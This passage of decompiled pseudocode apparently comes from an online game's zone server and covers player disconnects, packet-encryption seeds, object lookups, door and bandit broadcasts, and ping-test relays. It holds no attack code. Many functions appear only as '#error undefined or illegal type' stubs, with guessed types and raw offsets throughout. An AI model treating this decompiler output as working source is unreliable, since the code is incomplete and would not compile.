) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3098; *((_WORD *)v5 + 1) = -1; *((_DWORD *)v5 + 1) = -1; *((_WORD *)v5 + 7) = reason; *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *((_WORD *)v5 + 6) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Disconnect : Packet Too Long", 16); } } v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)((char *)v4 + 32175); *((_DWORD *)v8 + 1) = *(_DWORD *)((char *)v4 + 32179); *((_DWORD *)v8 + 2) = *(_DWORD *)((char *)v4 + 32183); v9 = v8; *((_DWORD *)v8 + 3) = *(_DWORD *)((char *)v4 + 32187); v8[16] = 0; v10 = DebugLogging::operator<<(&MoreDisconnectLog, "Char so_Disconnect "); v11 = DebugLogging::operator<<(v10, v9); v12 = DebugLogging::operator<<(v11, (char *)&stru_63450C); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } DebugLogging::operator<<(v12, &deb_LF); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v4 + 1524))(v4, when); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Disconnect"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (005252F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_EncSeedSet(void *this) { void *v1; // esi@1 int v2; // ecx@1 int v3; // edx@3 int v4; // esi@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_EncSeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_EncSeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = seed++ + 1; if ( seed >= PacketEncrypt::pe_encryptlen ) { v2 = 0; seed = 0; } v3 = (unsigned __int16)v2 % PacketEncrypt::pe_encryptlen; *((_WORD *)v1 + 15958) = v3; *((_WORD *)v1 + 15959) = v3; v4 = v2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_EncSeedSet"); return v4; } // 6895FC: using guessed type int PacketEncrypt__pe_encryptlen; //----- (00525380) -------------------------------------------------------- void __thiscall ShineObjectEachList::_ShineObjectEachList(ShineObjectEachList *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)ShineObjectEachList::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 661034: using guessed type int (__stdcall *ShineObjectEachList___vftable_[3])(__int16 hnd); //----- (005253A0) -------------------------------------------------------- char __thiscall ShineObjectEachList::soel_Routine(ShineObjectEachList *this, List *lst, unsigned __int16 handle) { ShineObjectEachList *v3; // esi@1 char v4; // bl@4 int v5; // ST0C_4@8 DebugLogging *v6; // eax@8 DebugLogging *v7; // eax@8 DebugLogging *v8; // eax@8 DebugLogging *v9; // eax@8 DebugLogging *v10; // eax@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectEachList::soel_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectEachList::soel_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShinePlayer::sp_Turtle ) { Sleep(ShineObjectClass::ShinePlayer::sp_Turtle); if ( ShineObjectClass::ShinePlayer::sp_Turtle < 0x2710u ) ++ShineObjectClass::ShinePlayer::sp_Turtle; } v4 = List::l_4AllInList( &v3->baseclass_0, (char (__thiscall *)(#593 *, List *, unsigned __int16))_vcall_); if ( !v4 ) ++v3->nListNoCount; if ( v3->nNextRecordTime < clockwatch.cw_CurrTick ) { if ( v3->nListNoCount > 0 ) { v5 = v3->nListNoCount; v6 = DebugLogging::operator<<(&ShineObjectHandleLog, "ShineObjectEachList::soel_Routine - ObjectType["); v7 = DebugLogging::operator<<(v6, handle); v8 = DebugLogging::operator<<(v7, "] LISTNO Count["); v9 = DebugLogging::operator<<(v8, v5); v10 = DebugLogging::operator<<(v9, (char *)&unk_63D200); DebugLogging::operator<<(v10, &deb_LF); v3->nListNoCount = 0; } v3->nNextRecordTime = clockwatch.cw_CurrTick + 600; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectEachList::soel_Routine"); return v4; } // 6F8BF8: using guessed type unsigned __int16 ShineObjectClass__ShinePlayer__sp_Turtle; //----- (005254F0) -------------------------------------------------------- #error "5254F0: undefined or illegal type '#734' (funcsize=257)" //----- (005257D0) -------------------------------------------------------- #error "5257D0: undefined or illegal type '#593' (funcsize=55)" //----- (005258C0) -------------------------------------------------------- #error "5258C0: undefined or illegal type '#593' (funcsize=64)" //----- (005259C0) -------------------------------------------------------- #error "5259C0: undefined or illegal type '#593' (funcsize=136)" //----- (00525C20) -------------------------------------------------------- #error "525C20: undefined or illegal type '#593' (funcsize=48)" //----- (00525CF0) -------------------------------------------------------- #error "525CF0: undefined or illegal type '#593' (funcsize=65)" //----- (00525DF0) -------------------------------------------------------- #error "525DF0: undefined or illegal type '#593' (funcsize=48)" //----- (00525EC0) -------------------------------------------------------- #593 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, unsigned int chrregnum) { ShineObjectManager *v2; // esi@1 #593 *v3; // esi@1 int (__stdcall **scrf)(int, __int16); // [sp+8h] [bp-18h]@1 unsigned int v6; // [sp+Ch] [bp-14h]@1 #593 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_FindPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; scrf = &ShineCharRegnumFinder::_vftable_; v6 = chrregnum; v7 = 0; LOBYTE(v8) = 1; List::l_4AllInList((List *)&v2->som_Player, (ListIteratorDefault *)&scrf); v3 = v7; --funcallanalizer.fca_stackpoint; scrf = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); return v3; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 661B0C: using guessed type int (__stdcall *ShineCharRegnumFinder___vftable_)(int, __int16 handle); //----- (00525F90) -------------------------------------------------------- #593 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, Name4 *chrid) { ShineObjectManager *v2; // esi@1 #593 *v3; // esi@1 int (__stdcall **scif)(int, __int16); // [sp+8h] [bp-18h]@1 Name4 *v6; // [sp+Ch] [bp-14h]@1 #593 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_FindPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; scif = &ShineCharIDFinder::_vftable_; v6 = chrid; v7 = 0; LOBYTE(v8) = 1; List::l_4AllInList((List *)&v2->som_Player, (ListIteratorDefault *)&scif); v3 = v7; --funcallanalizer.fca_stackpoint; scif = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); return v3; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 661B30: using guessed type int (__stdcall *ShineCharIDFinder___vftable_)(int, __int16 handle); //----- (00526060) -------------------------------------------------------- #593 *__thiscall ShineObjectManager::som_FindNPC(ShineObjectManager *this, Name4 *chrid) { ShineObjectManager *v2; // esi@1 #593 *v3; // esi@1 int (__stdcall **scrf)(int, __int16); // [sp+8h] [bp-18h]@1 Name4 *v6; // [sp+Ch] [bp-14h]@1 #593 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_FindNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_FindNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; scrf = &ShineCharIDFinder::_vftable_; v6 = chrid; v7 = 0; LOBYTE(v8) = 1; List::l_4AllInList((List *)&v2->som_NPC, (ListIteratorDefault *)&scrf); v3 = v7; --funcallanalizer.fca_stackpoint; scrf = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_FindNPC"); return v3; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 661B30: using guessed type int (__stdcall *ShineCharIDFinder___vftable_)(int, __int16 handle); //----- (00526130) -------------------------------------------------------- #593 *__thiscall ShineObjectManager::som_FindNPC(ShineObjectManager *this, unsigned __int16 mobid) { ShineObjectManager *v2; // esi@1 #593 *v3; // esi@1 int (__stdcall **smif)(int, __int16); // [sp+8h] [bp-18h]@1 unsigned __int16 v6; // [sp+Ch] [bp-14h]@1 #593 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_FindNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_FindNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; smif = &ShineMobIDFinder::_vftable_; v6 = mobid; v7 = 0; LOBYTE(v8) = 1; List::l_4AllInList((List *)&v2->som_NPC, (ListIteratorDefault *)&smif); v3 = v7; --funcallanalizer.fca_stackpoint; smif = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_FindNPC"); return v3; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 661B50: using guessed type int (__stdcall *ShineMobIDFinder___vftable_)(int, __int16 handle); //----- (00526200) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_Reset(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_Reset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_Reset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->cn_next = v1; v1->cn_prev = v1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_Reset"); } //----- (00526260) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDoor::so_door_DoorAction(ShineObjectClass::ShineDoor *this, char *blockfile, MapBlock::DoorAction da) { ShineObjectClass::ShineDoor *v3; // esi@1 int v4; // ST00_4@1 char *v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v8; // [sp+20h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->sd_DoorBriefInfo.bid_BriefInfo->doorstate = da; v4 = (int)&v3->sd_DoorBriefInfo.bid_BriefInfo->blockindex; v8 = 0; *(_DWORD *)(v4 + 28) = 0; *(_DWORD *)(v4 + 24) = 0; *(_DWORD *)(v4 + 20) = 0; *(_DWORD *)(v4 + 16) = 0; *(_DWORD *)(v4 + 12) = 0; *(_DWORD *)(v4 + 8) = 0; *(_DWORD *)(v4 + 4) = 0; *(_DWORD *)v4 = 0; strncpy((char *)v4, blockfile, 0x20u); MapBlock::MapBlockInformation::mbi_DoorAction( *(MapBlock::MapBlockInformation **)(*(_DWORD *)&v3->gap0[98] + 20), &v3->sd_DoorBriefInfo.bid_BriefInfo->blockindex, da); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27657; *((_WORD *)v5 + 1) = *(_WORD *)&v3->gap0[4]; v5[4] = da; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v8) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 0); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_DoorAction"); return 1; } //----- (005263A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::so_bandit_ChangeType(ShineObjectClass::ShineBandit *this, char newtype) { ShineObjectClass::ShineBandit *v2; // esi@1 char *v3; // eax@1 __int16 v4; // dx@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_bandit_ChangeType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineBandit::so_bandit_ChangeType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sb_MobBriefInfo.bic_BriefInfo->type = newtype; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27659; v4 = *(_WORD *)&v2->gap0[4]; v3[4] = newtype; v6 = 0; *((_WORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v6) = 1; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_bandit_ChangeType"); } //----- (00526490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 void *v5; // eax@1 char *v6; // ebx@1 int v7; // ebp@1 int v8; // edx@2 void *v9; // ecx@2 int v10; // eax@2 int v11; // ecx@2 int v12; // eax@2 int v13; // esi@2 ZoneBaseSession *v14; // eax@4 int v15; // [sp+10h] [bp-8Ch]@1 void *nc; // [sp+14h] [bp-88h]@1 FunctionEntarance _; // [sp+18h] [bp-84h]@1 ItemTotalInformation iti; // [sp+1Ch] [bp-80h]@2 unsigned int v19; // [sp+8Ch] [bp-10h]@1 int v20; // [sp+98h] [bp-4h]@1 v4 = this; v19 = (unsigned int)&v15 ^ __security_cookie; v15 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2066; memcpy(v6, (const void *)(netcmd + 2), 0x50u); nc = v5; LOWORD(v5) = *((_WORD *)v4 + 2); v20 = 0; *((_WORD *)v6 + 6) = (_WORD)v5; *(_DWORD *)(v6 + 26) = timeGetTime(); v7 = (**((int (__stdcall ***)(_DWORD))v4 + 8920))(0); if ( *(_WORD *)(v7 + 8) == 2505 ) { *((_WORD *)v6 + 26) = 0; *(_DWORD *)(v6 + 54) = *(_DWORD *)v7; v8 = *(_DWORD *)(v7 + 4); v9 = nc; *((_DWORD *)v6 + 17) = 0; *((_DWORD *)v6 + 18) = 0; *((_DWORD *)v6 + 19) = 0; v10 = v6 + 80 - v9; v11 = v15; *(_DWORD *)(v6 + 58) = v8; *((_WORD *)v6 + 33) = 2505; *((_WORD *)v6 + 32) = 9216; *((_WORD *)v6 + 31) = v10 - 2; *((_WORD *)v6 + 23) = *(_WORD *)(v11 + 4); *((_DWORD *)v6 + 12) = (*(int (**)(void))(*(_DWORD *)v11 + 836))(); memcpy(&iti, (const void *)v7, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v7 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v7 + 110); v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v7 + 112) + 24))(v7 + 8); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v7 + 112) + 28))(&iti.iti_itemstruct, v12 + 1); v13 = ItemTotalInformation::iti_fill2buffer_atrib(&iti, *(ItemAttributeClass **)(v7 + 112), 0x9C9u, v6 + 80) - (v6 + 80) + 82; *(_DWORD *)(v6 + 14) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v13) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v14); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB : Packet Too Long", v13); } } --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"); __security_check_cookie((unsigned int)&v15 ^ v19); } //----- (00526680) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 __int16 v5; // di@1 char *v6; // ebx@1 int v7; // ecx@1 int v8; // ebp@1 int v9; // edx@2 int v10; // eax@2 ZoneBaseSession *v11; // eax@4 FunctionEntarance _; // [sp+10h] [bp-84h]@1 ItemTotalInformation iti; // [sp+14h] [bp-80h]@2 unsigned int v14; // [sp+84h] [bp-10h]@1 int v15; // [sp+90h] [bp-4h]@1 v4 = this; v14 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (signed __int16)gpp.pp_Buffer; v6 = gpp.pp_Buffer + 2; v7 = (int)(gpp.pp_Buffer + 2); v15 = 0; *(_WORD *)gpp.pp_Buffer = 2067; PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(v7, netcmd + 2); *((_WORD *)v6 + 24) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 62) = timeGetTime(); v8 = (**((int (__stdcall ***)(_DWORD))v4 + 8920))(0); if ( *(_WORD *)(v8 + 8) == 2505 ) { *((_WORD *)v6 + 44) = 0; *(_DWORD *)(v6 + 90) = *(_DWORD *)v8; v9 = *(_DWORD *)(v8 + 4); *((_DWORD *)v6 + 26) = 0; *((_DWORD *)v6 + 27) = 0; *((_DWORD *)v6 + 28) = 0; *(_DWORD *)(v6 + 94) = v9; *((_WORD *)v6 + 51) = 2505; *((_WORD *)v6 + 50) = 9216; *((_WORD *)v6 + 49) = (_WORD)v6 + 116 - v5 - 2; *((_WORD *)v6 + 41) = *((_WORD *)v4 + 2); *((_DWORD *)v6 + 21) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); memcpy(&iti, (const void *)v8, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v8 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v8 + 110); v10 = (*(int (__stdcall **)(SHINE_ITEM_STRUCT *))(**(_DWORD **)(v8 + 112) + 24))(&iti.iti_itemstruct); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v8 + 112) + 28))(&iti.iti_itemstruct, v10 + 1); ItemTotalInformation::iti_fill2buffer_atrib(&iti, *(ItemAttributeClass **)(v8 + 112), 0x9C9u, v6 + 116); *(_DWORD *)(v6 + 50) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 118) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB : Packet Too Long", len + 118); } } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB"); __security_check_cookie((unsigned int)&_ ^ v14); } //----- (00526860) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2070; memcpy(v3, &netcmd[1], 0x22u); *(_DWORD *)(v3 + 26) = timeGetTime(); *(_DWORD *)(v3 + 30) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 36) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE : Packet Too Long", 36); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE"); } //----- (00526960) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2069; memcpy(v3, &netcmd[1], 0x3Au); *(_DWORD *)(v3 + 38) = timeGetTime(); *(_DWORD *)(v3 + 26) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 60) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB : Packet Too Long", len + 60); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); } //----- (00526A60) -------------------------------------------------------- #error "526A60: undefined or illegal type '#593' (funcsize=94)" //----- (00526BB0) -------------------------------------------------------- #error "526BB0: undefined or illegal type '#593' (funcsize=71)" //----- (00526CC0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ebx@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2069; memcpy(v3, &netcmd[1], 0x3Au); *(_DWORD *)(v3 + 30) = timeGetTime(); *(_DWORD *)(v3 + 34) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, len + 60) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB : Packet Too Long", len + 60); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB"); } //----- (00526DC0) -------------------------------------------------------- #error "526DC0: undefined or illegal type '#593' (funcsize=61)" //----- (00526EC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 DebugLogging *v5; // edi@5 _iobuf *v6; // eax@7 char *v7; // [sp-4h] [bp-24h]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S90 & 1) ) { _S90 |= 1u; cmc_88.cmc_AllowMode = 126; atexit(_E91_0); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_88.cmc_AllowMode ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5 = DebugLogging::operator<<( &NormalLogOutLog, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD nCharNo - "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } DebugLogging::operator<<(v5, &deb_LF); *((_DWORD *)v4 + 35793) = 0; *((_DWORD *)v4 + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)v4 + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v4 + 35796) = 0; *((_DWORD *)v4 + 35803) = -1; v7 = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; } else { v7 = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; } 